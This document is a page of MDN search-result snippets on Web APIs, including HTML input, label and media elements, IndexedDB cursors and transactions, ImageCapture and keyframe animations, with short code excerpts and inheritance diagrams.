...this is the height at which the image is naturally drawn when no constraint or specific value is established for the image.
... this natural height is corrected for the pixel density of the device on which it's being presented, unlike height.
...And 3 more matches
HTMLInputElement.stepDown() - Web APIs
given <input id="mytime" type="time" max="17:00" step="900" value="17:00">, invoking mytime.step(3) will change the value to 16:15, decrementing the time by 3 * 900, or 45 minutes.
... <!-- decrements by intervals of 900 seconds (15 minute) --> <input type="time" max="17:00" step="900"> <!-- decrements by intervals of 7 days (one week) --> <input type="date" max="2019-12-25" step="7"> <!-- decrements by intervals of 12 months (one year) --> <input type="month" max="2019-12" step="12"> the method, when invoked, changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set within the form control.
... if the value before invoking the stepdown() method is invalid, for example, if it doesn't match the constraints set by the step attribute, invoking the stepdown() method will return a value that does match the form controls constraints.
...And 3 more matches
HTMLInputElement.webkitEntries - Web APIs
this means the <input> element was configured to let the user choose directories.
... this property is called webkitentries in the specification due to its origins as a google chrome-specific api.
... syntax var entries = htmlinputelement.webkitentries; value an array of objects based on filesystementry, each representing one file which is selected in the <input> element.
...And 3 more matches
HTMLLabelElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllabelelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMediaElement.onencrypted - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMediaElement.onwaitingforkey - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMetaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmetaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 3 more matches
HTMLOptGroupElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptgroupelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 3 more matches
HTMLSelectElement.add() - Web APIs
exceptions a domerror of the type hierarchyrequesterror if the item passed to the method is an ancestor of the htmlselectelement.
... examples creating elements from scratch var sel = document.createelement("select"); var opt1 = document.createelement("option"); var opt2 = document.createelement("option"); opt1.value = "1"; opt1.text = "option: value 1"; opt2.value = "2"; opt2.text = "option: value 2"; sel.add(opt1, null); sel.add(opt2, null); /* produces the following, conceptually: <select> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> */ the before parameter is optional.
... append to an existing collection var sel = document.getelementbyid("existinglist"); var opt = document.createelement("option"); opt.value = "3"; opt.text = "option: value 3"; sel.add(opt, null); /* takes the existing following select object: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> */ the before parameter is optional.
...And 3 more matches
HTMLSlotElement.assignedElements() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned elements of any available child <slot> elements (true) or not (false).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements experimentalchrome full support 65edge full support 79firefox full support 66ie no support noopera full support yessafari ?
...And 3 more matches
HTMLTitleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltitleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLVideoElement.videoHeight - Web APIs
the media's clean aperture (the sub-rectangle centered within the media that matches the target aspect ratio).
... if at any time the intrinsic size of the media changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... this can happen when the element switches from displaying the poster frame to displaying video content, or when the displayed video track changes.
...And 3 more matches
HTMLVideoElement.videoWidth - Web APIs
the media's clean aperture (the sub-rectangle centered within the media that matches the target aspect ratio).
... if at any time the intrinsic size of the media changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... this can happen when the element switches from displaying the poster frame to displaying video content, or when the displayed video track changes.
...And 3 more matches
Headers - Web APIs
WebAPIHeaders
the headers interface of the fetch api allows you to perform various actions on http request and response headers.
...a headers object has an associated header list, which is initially empty and consists of zero or more name and value pairs.
... you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence.
...And 3 more matches
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
here we use cursor.advance(2) to jump 2 places forward each time, meaning that only every other result will be displayed.
... note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...action = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'advance()' in that specification.
...And 3 more matches
IDBCursor.continue() - Web APIs
the continue() method of the idbcursor interface advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter.
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'continue()' in that specification.
...And 3 more matches
IDBCursor.primaryKey - Web APIs
within each iteration we log the primary key of the cursor to the console, something like this (its the album title in each case, which is our primarykey): hemispheres the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.primarykey); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'primarykey' in that specification.
...And 3 more matches
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBCursorWithValue.value - Web APIs
within each iteration we log the value of the cursor with cursor.value.
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBDatabase.createObjectStore() - Web APIs
this method can be called only within a versionchange transaction.
... exceptions this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
...And 3 more matches
IDBDatabase.deleteObjectStore() - Web APIs
as with idbdatabase.createobjectstore, this method can be called only within a versionchange transaction.
... exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does not exist.
...And 3 more matches
IDBDatabaseException - Web APIs
constants note: do not rely on the numeric values of the constants, which might change as the specifications continue to change.
...for example, an object, such as an object store or index, already exists and a request attempted to create a new one.
... quota_err 11 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database.
...And 3 more matches
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
return value a idbrequest object on which subsequent events related to this operation are fired.
... finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'count()' in that specification.
...And 3 more matches
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
return value an idbrequest object on which subsequent events related to this operation are fired.
... finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification.
...And 3 more matches
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
return value an idbrequest object on which subsequent events related to this operation are fired.
... finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'getkey()' in that specification.
...And 3 more matches
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
this method takes an optional parameter, unique, which if set to true means that the index will not be able to accept duplicate entries.
... finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'unique' in that specification.
...And 3 more matches
IDBObjectStore.index() - Web APIs
the index() method of the idbobjectstore interface opens a named index in the current object store, after which it can be used to, for example, return a series of records sorted by that index using a cursor.
... finally, we iterate through each record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'index()' in that specification.
...And 3 more matches
IDBObjectStore.put() - Web APIs
if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which this object store is opened.
...in such cases, calling put(item) will always insert a new record, because it doesn't know what existing record you might want to modify.
... return value an idbrequest object on which subsequent events related to this operation are fired.
...And 3 more matches
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
the source read-only property of the idbrequest interface returns the source of the request, such as an index or an object store.
... if no source exists (such as when calling indexeddb.open), it returns null.
... syntax var idbindex = request.source; var idbcursor = request.source; var idbobjectstore = request.source; value an object representing the source of the request, such as an idbindex, idbobjectstore or idbcursor.
...And 3 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, such as for requests returned from idbfactory.open — in this case you're just connecting to a database, so there is no transaction to return.
... if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade.
... openrequest.onupgradeneeded = function(event) { console.log(openrequest.transaction.mode); // will log "versionchange".
...And 3 more matches
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
the db read-only property of the idbtransaction interface returns the database connection with which this transaction is associated.
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...e object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
...And 3 more matches
IDBTransaction.error - Web APIs
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
ImageCapture.takePhoto() - Web APIs
var takephotobutton = document.queryselector('button#takephoto'); var canvas = document.queryselector('canvas'); takephotobutton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimentalchrome full support 60 full support 60 no support 59 — 60notes notes photosettings argument not supported.edge full support ≤79firefox ?
...And 3 more matches
KeyboardEvent.getModifierState() - Web APIs
the value must be one of the keyboardevent.key values which represent modifier keys, or the string "accel" .
... all modifiers (except "fnlock", "hyper", "super" and "symbol" which are defined after gecko implements this) are always supported for untrusted events on gecko.
... in old implementations and outdated specifications, it returned true when a modifier which is the typical modifier key for the shortcut key is pressed.
...And 3 more matches
KeyframeEffect.setKeyframes() - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
... element.animate({ opacity: [ 0, 0.9, 1 ], offset: [ 0, 0.8 ], // shorthand for [ 0, 0.8, 1 ] easing: [ 'ease-in', 'ease-out' ], }, 2000); after generating a suitable set of keyframes from the property value lists, each supplied offset is applied to the corresponding keyframe.
...And 3 more matches
MediaError.message - Web APIs
the read-only property mediaerror.message returns a domstring which contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or provided.
... example this example creates a <audio> element, establishes an error handler for it, then lets the user click buttons to choose whether to assign a valid audio file or a missing file to the element's src attribute.
... the example creates an <audio> element and lets the user assign either a valid music file to it, or a link to a file which doesn't exist.
...And 3 more matches
MediaError - Web APIs
the mediaerror interface represents an error which occurred while handling media in an html media element based on htmlmediaelement, such as <audio> or <video>.
... a mediaerror object describes the error in general terms using a numeric code categorizing the kind of error, and a message, which provides specific diagnostics about what went wrong.
... mediaerror.code a number which represents the general type of error that occurred, as follows: name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request.
...And 3 more matches
MediaKeyMessageEvent() - Web APIs
the mediakeymessageevent constructor creates a new mediakeymessageevent object which creates a new instance of mediakeymessageevent.
